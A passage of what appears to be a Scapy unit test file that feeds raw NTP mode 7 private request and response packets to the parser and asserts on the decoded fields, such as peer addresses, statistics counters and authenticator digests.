'\x97\x00\x03\x03\x00\x01\x00x\xc0\xa8zf\xc0\xa8ze\x00{\x00\x01\x01\x00\x10\x06\x00\x00\x00)\x00\x00\x00\x1e\x00\x02\xda|\x00\x00\x00\xbc\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\nJ\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 3) assert(isinstance(x, NTPInfoPeerStats) for x in p.data) = NTP Private (mode 7) - REQ_SYS_INFO (1) - request s = '\x17\x00\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 4) = NTP Private (mode 7) - REQ_SYS_INFO (2) - response s = '\x97\x00\x03\x04\x00\x01\x00P\x7f\x7f\x01\x00\x03\x00\x0b\xf0\x00\x00\x00\x00\x00\x00\x03\x06\x7f\x7f\x01\x00\xdb<\xca\xf3\xa1\x92\xe1\xf7\x06\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x07\x00\x00\x00\x00\xde\x7fB\x89\x00<\x8d\xc5' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 4) assert(isinstance(p.data[0], NTPInfoSys)) assert(p.data[0].peer == "127.127.1.0") assert(p.data[0].peer_mode == 3) assert(p.data[0].leap == 0) assert(p.data[0].stratum == 11) assert(p.data[0].precision == 240) assert(p.data[0].refid == "127.127.1.0") = NTP Private (mode 7) - REQ_SYS_STATS (1) - request s = '\x17\x00\x03\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 5) = NTP Private (mode 7) - REQ_SYS_STATS (2) - response s = '\x97\x00\x03\x05\x00\x01\x00,\x00\x02\xe2;\x00\x02\xe2;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b%\x00\x00\x00\x00\x00\x00\x0b=\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 5) assert(isinstance(p.data[0], NTPInfoSysStats)) assert(p.data[0].timeup == 188987) assert(p.data[0].received == 2877) = NTP Private (mode 7) - REQ_IO_STATS (1) - request s = '\x17\x00\x03\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 6) = NTP Private (mode 7) - REQ_IO_STATS (2) - response s = '\x97\x00\x03\x06\x00\x01\x00(\x00\x00\x03\x04\x00\n\x00\t\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00\xd9\x00\x00\x00\x00\x00\x00\x00J\x00\x00\x00J' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 6) assert(p.data[0].timereset == 772) assert(p.data[0].sent == 217) = NTP Private (mode 7) - REQ_MEM_STATS (1) - request s = '\x17\x00\x03\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 7) = NTP Private (mode 7) - REQ_MEM_STATS (2) - response s = '\x97\x00\x03\x07\x00\x01\x00\x94\x00\x00\n\xee\x00\x0f\x00\r\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 7) assert(p.data[0].timereset == 2798) assert(p.data[0].totalpeermem == 15) assert(p.data[0].freepeermem == 13) assert(p.data[0].findpeer_calls == 60) assert(p.data[0].hashcount[25] == 1 and p.data[0].hashcount[89] == 1) = NTP Private (mode 7) - REQ_LOOP_INFO (1) - request s = '\x17\x00\x03\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 8) = NTP Private (mode 7) - REQ_LOOP_INFO (2) - response s = '\x97\x00\x03\x08\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 8) assert(p.data[0].last_offset == 0.0) assert(p.data[0].watchdog_timer == 4) = NTP Private (mode 7) - REQ_TIMER_STATS (1) - request s = '\x17\x00\x03\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 9) = NTP Private (mode 7) - REQ_TIMER_STATS (2) - response s = '\x97\x00\x03\t\x00\x01\x00\x10\x00\x00\x01h\x00\x00\x01h\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 9) assert(p.data[0].timereset == 360) assert(p.data[0].alarms == 360) = NTP Private (mode 7) - REQ_CONFIG (1) - request s = '\x17\x80\x03\n\x00\x01\x00\xa8\xc0\xa8zm\x01\x03\x06\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xec\x93\xb1\xa8\xa0a\x00\x00\x00\x01Z\xba\xfe\x01\x1cr\x05d\xa1\x14\xb1)\xe9vD\x8d' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 10) assert(p.nb_items == 1) assert(p.data_item_size == 168) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfPeer)) assert(p.req_data[0].peeraddr == "192.168.122.109") assert(p.req_data[0].hmode == 1) assert(p.req_data[0].version == 3) assert(p.req_data[0].minpoll == 6) assert(p.req_data[0].maxpoll == 10) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '5abafe011c720564a114b129e976448d') = NTP Private (mode 7) - REQ_CONFIG (2) - response s = '\x97\x00\x03\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 10) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_UNCONFIG (1) - request s = '\x17\x80\x03\x0b\x00\x01\x00\x18\xc0\xa8zk\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0\x1bq\xc8\xe5\xa6\x00\x00\x00\x01\x1dM;\xfeZ~]Z\xe3Ea\x92\x9aE\xd8%' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 11) assert(p.nb_items == 1) assert(p.data_item_size == 24) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfUnpeer)) assert(p.req_data[0].peeraddr == "192.168.122.107") assert(p.req_data[0].v6_flag == 0) assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '1d4d3bfe5a7e5d5ae34561929a45d825') = NTP Private (mode 7) - REQ_UNCONFIG (2) - response s = '\x97\x00\x03\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 11) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_RESADDFLAGS (1) - request s = '\x17\x80\x03\x11\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x04\x00\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0V\xa9"\xe6_\x00\x00\x00\x01>=\xb70Tp\xee\xae\xe1\xad4b\xef\xe3\x80\xc8' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 17) assert(p.nb_items == 1) assert(p.data_item_size == 48) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfRestrict)) assert(p.req_data[0].addr == "192.168.122.105") assert(p.req_data[0].mask == "255.255.255.255") assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '3e3db7305470eeaee1ad3462efe380c8') = NTP Private (mode 7) - REQ_RESSUBFLAGS (1) - request s = '\x17\x80\x03\x12\x00\x01\x000\xc0\xa8zi\xff\xff\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xf0F\xe0C\xa9@\x00\x00\x00\x01>e\r\xdf\xdb\x1e1h\xd0\xca)L\x07k\x90\n' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 18) assert(p.nb_items == 1) assert(p.data_item_size == 48) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfRestrict)) assert(p.req_data[0].addr == "192.168.122.105") assert(p.req_data[0].mask == "255.255.255.255") assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '3e650ddfdb1e3168d0ca294c076b900a') = NTP Private (mode 7) - REQ_RESET_PEER (1) - request s = "\x17\x80\x03\x16\x00\x01\x00\x18\xc0\xa8zf\x00\x00\x00\x00X\x88P\xb1\xff\x7f\x00\x008\x88P\xb1\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xef!\x99\x88\xa3\xf1\x00\x00\x00\x01\xb1\xff\xe8\xefB=\xa9\x96\xdc\xe3\x13'\xb3\xfc\xc2\xf5" p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 22) assert(p.nb_items == 1) assert(p.data_item_size == 24) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfUnpeer)) assert(p.req_data[0].peeraddr == "192.168.122.102") assert(p.req_data[0].v6_flag == 0) = NTP Private (mode 7) - REQ_AUTHINFO (1) - response s = '\x97\x00\x03\x1c\x00\x01\x00$\x00\x00\x01\xdd\x00\x00\x00\x02\x00\x00\x00\n\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00/\x00\x00\x00\x00\x00\x00\x00\x01' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 28) assert(p.err == 0) assert(p.nb_items == 1) assert(p.data_item_size == 36) assert(hasattr(p, 'data')) assert(isinstance(p.data[0], NTPInfoAuth)) assert(p.data[0].timereset == 477) assert(p.data[0].numkeys == 2) assert(p.data[0].numfreekeys == 10) assert(p.data[0].keylookups == 96) assert(p.data[0].keynotfound == 0) assert(p.data[0].encryptions == 9) assert(p.data[0].decryptions == 47) assert(p.data[0].expired == 0) assert(p.data[0].keyuncached == 1) = NTP Private (mode 7) - REQ_ADD_TRAP (1) - request s = '\x17\x80\x03\x1e\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedB\xdd\xda\x7f\x97\x00\x00\x00\x01b$\xb8IM.\xa61\xd0\x85I\x8f\xa7\'\x89\x92' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 30) assert(p.err == 0) assert(p.nb_items == 1) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfTrap)) assert(p.req_data[0].trap_address == '192.0.2.3') assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '6224b8494d2ea631d085498fa7278992') = NTP Private (mode 7) - REQ_ADD_TRAP (2) - response s = '\x97\x00\x03\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 30) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_CLR_TRAP (1) - request s = '\x17\x80\x03\x1f\x00\x01\x000\x00\x00\x00\x00\xc0\x00\x02\x03H\x0f\x00\x00\x00\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xedb\xb3\x18\x1c\x00\x00\x00\x00\x01\xa5_V\x9e\xb8qD\x92\x1b\x1c>Z\xad]*\x89' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 1) assert(p.request_code == 31) assert(p.err == 0) assert(p.nb_items == 1) assert(hasattr(p, 'req_data')) assert(isinstance(p.req_data[0], NTPConfTrap)) assert(p.req_data[0].trap_address == '192.0.2.3') assert(hasattr(p, 'authenticator')) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == 'a55f569eb87144921b1c3e5aad5d2a89') = NTP Private (mode 7) - REQ_CLR_TRAP (2) - response s = '\x97\x00\x03\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) assert(p.request_code == 31) assert(p.err == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_GET_CTLSTATS - response s = '\x97\x00\x03"\x00\x01\x00<\x00\x00\x00\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.auth == 0) 